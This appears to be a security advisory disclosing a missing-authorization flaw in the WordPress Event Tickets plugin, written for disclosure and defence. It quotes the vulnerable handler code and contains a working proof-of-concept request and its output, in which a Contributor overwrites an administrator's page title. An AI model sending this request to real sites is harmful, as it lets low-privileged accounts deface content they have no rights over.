CVE-2026-104675 The permission check that asked about a different post in Event Tickets
Intrudify's autonomous pentesting engine discovered a missing authorization vulnerability in the Event Tickets plugin for WordPress, affecting all versions up to and including 5.30.0. The AJAX handler that saves a ticket reads two post ids out of the same request. It asks whether the caller may edit the first one and then writes to the second one. A Contributor sends their own draft as the first and the administrator's front page as the second.
Summary
Event Tickets sells tickets and collects RSVPs on about ninety thousand WordPress sites. Tickets are edited in a metabox inside the post editor, and that metabox talks to admin-ajax.php. Four of its handlers open the same way: take a post id out of the request, pass it to has_permission(), and carry on if the answer is yes.
ajax_ticket_add() carries on to a write that uses a second id. post_id is the field has_permission() is asked about. data[ticket_id] is the field that becomes the ID argument of wp_update_post(). They arrive in the same POST body and nothing in the handler, the model or the provider compares them. The caller fills in both.
The nonce is present and is verified. It is minted in the editor of any post the user is allowed to edit, and the action name it is minted against is the constant string add_ticket_nonce, which carries no post id. A Contributor opening their own draft is handed a token that satisfies the check for every request this handler accepts. What the check establishes is that this user may edit something. The write acts on something else.
Technical detail
Two ids in one request
// src/Tribe/Metabox.php, Event Tickets 5.30.0
add_action('wp_ajax_tribe-ticket-add', [$this, 'ajax_ticket_add']); // line 28
public function ajax_ticket_add($return_value = false) // line 291
{
$post_id = absint( tribe_get_request_var('post_id', 0) ); // line 293
$post_id = Event::filter_event_id($post_id); // line 294
...
$data = wp_parse_args( tribe_get_request_var(['data'], []), [] );
...
if( ! $this->has_permission($post_id, $_POST, 'add_ticket_nonce') )
wp_send_json_error(...); // line 323
...
$ticket_id = $module->ticket_add($post_id, $data); // line 366
}
// post_id is the field the permission check reads.
// $data['ticket_id'], carried inside $data, is the field the write reads.
// Two request fields. Nothing in this function compares them.tribe_get_request_var() reads $_POST first and falls back to the query string, so both fields are attacker supplied. Event::filter_event_id() is a filter hook that returns is_numeric($event_id) ? (int) $event_id : null, which normalises the value and validates nothing about it.
One consequence worth stating plainly: post_id is never required to be a post type the plugin manages. In the lab the setting ticket-enabled-post-types held ["tribe_events", "page"], and the id that satisfied the permission check was a post. The object the attacker is authorised for does not have to be an object Event Tickets has anything to do with.
What the permission check proves
// src/Tribe/Metabox.php:882, the whole of the check
public function has_permission($post, $data, $nonce_action)
{
if( ! $post instanceof WP_Post ) {
if( ! is_numeric($post) ) return false;
$post = get_post($post);
}
if( empty($data['nonce']) || ! wp_verify_nonce($data['nonce'], $nonce_action) )
return false;
return current_user_can('edit_event_tickets')
|| current_user_can( get_post_type_object($post->post_type)->cap->edit_others_posts )
|| current_user_can('edit_post', $post->ID );
}
// The nonce action is the literal string 'add_ticket_nonce'. No post id in it,
// so one nonce is valid for every request this user makes to this handler.Three capabilities, any one of which is enough. The third is the one a Contributor passes: edit_post on their own draft. That is correct and intended, and it is the capability that makes a Contributor a Contributor.
The check is sound about the object it is given. It is given $post_id.
The write
// src/Tribe/Tickets.php:4114
public function ticket_add($post_id, $data)
{
$ticket = new Tribe__Tickets__Ticket_Object();
$ticket->ID = isset($data['ticket_id']) ? absint($data['ticket_id']) : null; // 4116
$update = ! empty($ticket->ID);
$ticket->name = isset($data['ticket_name']) ? esc_html(...) : null;
$ticket->description = isset($data['ticket_description']) ? wp_kses_post(...) : '';
...
if( $update )
update_post_meta($ticket->ID, '_type', ...); // 4171
$save_ticket = $this->save_ticket($post_id, $ticket, $data); // 4175
}
// src/Tribe/RSVP.php:1574, Event Tickets 5.29.5.1
} else {
$args = [
'ID' => $ticket->ID, // the number from the request
'post_excerpt' => $ticket->description,
'post_title' => $ticket->name,
];
$ticket->ID = wp_update_post($args); // line 1581
}$ticket->ID is the number from data[ticket_id]. wp_update_post() with an ID key updates whichever post carries that id, so the title and the excerpt of the attacker's chosen post are replaced. Both values have been through a sanitiser on the way in, esc_html() for the title and wp_kses_post() for the excerpt, so there is no script injection here. The defect is the write landing on an object the caller holds no capability over.
The same ['ID' => $ticket->ID, 'post_title' => ..., 'post_excerpt' => ...] shape appears in the other two ticket providers, at src/Tickets/Commerce/Ticket.php:606 and src/Tribe/Commerce/PayPal/Main.php:1219. The model hands each of them an id it has not checked.
Why nothing forces the id to be a ticket
The three sibling handlers in the same file resolve the provider by calling tribe_tickets_get_ticket_provider($ticket_id), which looks the id up and returns false when it does not name a ticket. That lookup is not an authorization check, and it was not written as one, and it has the side effect of rejecting an id that names an ordinary page.
ajax_ticket_add() takes the provider from the request instead, in data[ticket_provider], and validates it with module_is_valid(), which is array_key_exists($module, Tribe__Tickets__Tickets::modules()). That is a lookup on the provider name. It never touches the id. In this one handler the id reaches wp_update_post() without any code having read it for any purpose other than writing to it.
Verification
Measured on a clean WordPress 7.1.3 install on PHP 8.3, Event Tickets as the only active plugin, served at http://127.0.0.1:8451. Two accounts: admin, an administrator, and contrib, a Contributor. Two objects: post 4, a draft authored by contrib, and page 5, "Company Home Page", authored by admin. Every request below was driven over HTTP in the Contributor's own session.
// Event Tickets 5.29.5.1 - WordPress 7.1.3 - PHP 8.3 - http://127.0.0.1:8451
// contrib is a Contributor (user 2). Post 4 is their own draft.
// Page 5 is "Company Home Page", authored by the administrator (user 1).
// The attacker logs in and reads the nonce from their OWN draft
POST /wp-login.php -> 200
GET /wp-admin/post.php?post=4&action=edit -> 200
add_ticket_nonce = 4e008055a3
// CONTROL 1 the same user edits page 5 the way WordPress intends
POST /wp-json/wp/v2/pages/5 {"title":"x"}
403 {"code":"rest_cannot_edit","message":"Sorry, you are not allowed to edit this post."}
// CONTROL 2 the forged route, nonce omitted
POST /wp-admin/admin-ajax.php action=tribe-ticket-add post_id=4 data[ticket_id]=5
200 {"success":false,"data":"Failed to add the Ticket. Refresh the page to try again."}
// CONTROL 3 the same id on a handler that reads its provider from the id
POST /wp-admin/admin-ajax.php action=tribe-ticket-delete post_id=4 ticket_id=5
200 {"success":false,"data":"Commerce Module invalid"}
page 5 status after control 3: publish
// PAYLOAD post_id=4 is authorised, data[ticket_id]=5 is written
POST /wp-admin/admin-ajax.php
action=tribe-ticket-add
post_id=4 // the contributor's own draft
nonce=4e008055a3
data[ticket_provider]=Tribe__Tickets__RSVP
data[ticket_id]=5 // the administrator's page
data[ticket_name]=HACKED - site defaced by a Contributor
data[ticket_description]=This content was overwritten by a Contributor
200 {"success":true, ...}
// page 5, read back from the database
ID 5
post_author 1 // still the administrator's page
post_title HACKED - site defaced by a Contributor
post_excerpt This content was overwritten by a Contributor
// page 5, read by an anonymous visitor
GET /?page_id=5 -> <title>HACKED - site defaced by a Contributor - ET Lab</title>Three controls, because a single success proves nothing on its own.
- Control 1 names the privilege boundary. The same user, the same session, the same target, asked through the route WordPress provides for it, is refused with
rest_cannot_edit. The account genuinely cannot edit page 5. - Control 2 names the gate that does work. Drop the nonce and the request is rejected. The handler is not open to the world, and the finding is not a missing nonce.
- Control 3 names the discriminator. The same id, sent to a handler that reads its provider from the id, is rejected with
Commerce Module invalid, and page 5 is still published afterwards. Page 5 is not a valid ticket id anywhere in this plugin. It is accepted inajax_ticket_add()because nothing there asks.
Then the same four requests against three releases, resetting the page between runs:
| Event Tickets | Control 1 | Control 2 | Payload | Page 5 afterwards |
|---|---|---|---|---|
| 5.29.5.1 | 403 | rejected | 200 success:true | title and excerpt overwritten |
| 5.30.0 | 403 | rejected | 200 success:true | unchanged |
| 5.30.0.1 | 403 | rejected | 200 success:true | unchanged |
That result deserves an explanation, because the version named as the fix is 5.30.0.1 and the overwrite stops one release earlier.
The 5.30.0.1 changelog has one line in it: "Fix - Prevented the Tickets metabox from losing fields in the Classic Editor when the RSVP metabox is placed above it." Unpacking both archives and comparing them, four PHP files differ. One is the version constant, one renames DOM ids in an admin template, one follows that rename into the handler that reads the renamed field. src/Tribe/Metabox.php and src/Tribe/Tickets.php are byte for byte identical between 5.30.0 and 5.30.0.1.
What stopped the overwrite is in 5.30.0, and its changelog entry is a feature: "Changed where RSVPs are stored to agree with Tickets."
// src/Tribe/RSVP.php:1584, Event Tickets 5.30.0. The same else branch.
$repository = tribe_tickets('rsvp');
...
} else {
// UPDATE - Use repository.
$result = $repository->by('id', $ticket->ID )
->set_args( $ticket_data )
->save();
}
// The repository selects tickets. An id naming a page matches no row, the
// title and the excerpt are never reached, and save() reports no failure.
// src/Tribe/Metabox.php and src/Tribe/Tickets.php are unchanged.Read that pair of findings together. The release that carries the fix number changed nothing on this path, and the release that changed the behaviour did it while moving storage. Neither version number was chosen by looking at this code.
Impact
A Contributor is the lowest WordPress role that can edit anything. The role exists to let someone write a draft and submit it for review, and a site grants it on the assumption that the holder's reach ends at their own unpublished posts. Guest authors, volunteer writers, community members on a membership site and open registration flows all land on it.
On an affected release that account can replace the title and the excerpt of any post, page or custom post type on the site, including the front page, and the replacement is immediately visible to anonymous visitors in the title element and everywhere the excerpt is rendered. The target is chosen by id, so a loop over a range of numbers reaches everything. Post meta is written to the same chosen id along the way.
The score agreed on by both databases is 4.3, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, and Patchstack and Wordfence published the identical vector, which is uncommon. It reads integrity as low because nothing is disclosed, nothing is executed and the content itself survives under the title. For a site whose visible identity is its page titles, the practical effect of a defacement reaching every page is worth weighing separately from the number.
Remediation
Update Event Tickets to 5.30.0.1 or later. 5.30.1 is the current release.
If the site has had Contributor accounts open to people it does not employ, two checks are worth running. Compare the titles and excerpts of published posts against their revision history, because an overwrite through this route leaves the post_author and the body untouched and is easy to miss. Then look for ticket meta keys on posts that are not tickets, _tribe_ticket_capacity, _ticket_start_date and _type among them, which are written to the same id the route was pointed at.
For developers, the rule this one is about: the object you authorise must be the object you write. Where a handler reads an id for the permission check and a second id for the work, the two have to be tied together before the work starts, by resolving the second from the first or by re-checking the capability against the second. current_user_can('edit_post', $ticket_id) immediately before wp_update_post() closes this whatever else the handler does.
The wider lesson
Every ingredient of a correct authorization check is present in this handler. There is a nonce, and it is verified. There is a capability test, and it maps the right capability for the post type. There is a bail-out with a translated error. The check is called at the top of all four handlers in the file, consistently, which is a sign of a team that reviewed this surface.
The check takes an object as an argument, and the argument it is given is not the object the function goes on to modify. That is the whole of the defect, and it is invisible to every habit that treats authorization as a property of a function. A reviewer asking "does this handler check permissions" gets a yes. A reviewer asking "which object does it check, and which object does it write" gets two different answers from two lines forty lines apart.
The second habit this one argues against is reading a patch by its version number. The remediation field in two vulnerability databases says 5.30.0.1. Comparing 5.30.0 with 5.30.0.1 shows the code in question untouched, and comparing 5.29.5.1 with 5.30.0 shows the behaviour changing inside a storage refactor that was shipped as a feature. A reader who wants to know what a release did to a particular line has to go and look at that line in both archives. The changelog answers a different question, and so does the database.
A note on where the gap between the two halves comes from. ajax_ticket_add() is the one handler of the four that takes its provider from the request instead of resolving it from the ticket id. That design choice is defensible on its own terms, since the provider is what the form is choosing when a new ticket is created and there is no id yet to resolve it from. Its side effect is that the id is the only input in the handler that no code reads before the write. The three handlers that happen to read it are the three that are harder to point somewhere else.
Disclosure timeline
- 2026-09-25 Vulnerability identified and confirmed by Intrudify, reported via Patchstack
- 2026-10-01 Release 5.30.0.1 published by StellarWP
- 2026-10-05 Public disclosure · CVE-2026-104675 assigned
Questions
What is CVE-2026-104675?
CVE-2026-104675 is a missing authorization vulnerability in the Event Tickets plugin for WordPress, affecting all versions up to and including 5.30.0. The AJAX handler that saves a ticket checks whether the caller may edit the post named by the post_id field, then writes to the post named by the data[ticket_id] field. Both fields come from the same request and nothing compares them, so the caller chooses the object the check is run against and the object that is written separately.
Who can exploit CVE-2026-104675?
Any user holding the Contributor role or above. Contributor is the lowest WordPress role that can edit a post, and the nonce the handler requires is minted in the editor of any post the user is allowed to edit, so a Contributor's own draft is enough to obtain one. No administrator action is involved.
What can an attacker change?
The title and the excerpt of any post, page or custom post type on the site, plus ticket post meta on the same object. The target is selected by numeric id, so every object on the site is reachable. The post author and the post body are not modified, which makes the change easy to overlook.
How do I fix CVE-2026-104675?
Update Event Tickets to 5.30.0.1 or later; 5.30.1 is current. If untrusted accounts have held the Contributor role, compare published titles and excerpts against their revision history, and look for ticket meta keys such as _tribe_ticket_capacity on posts that are not tickets.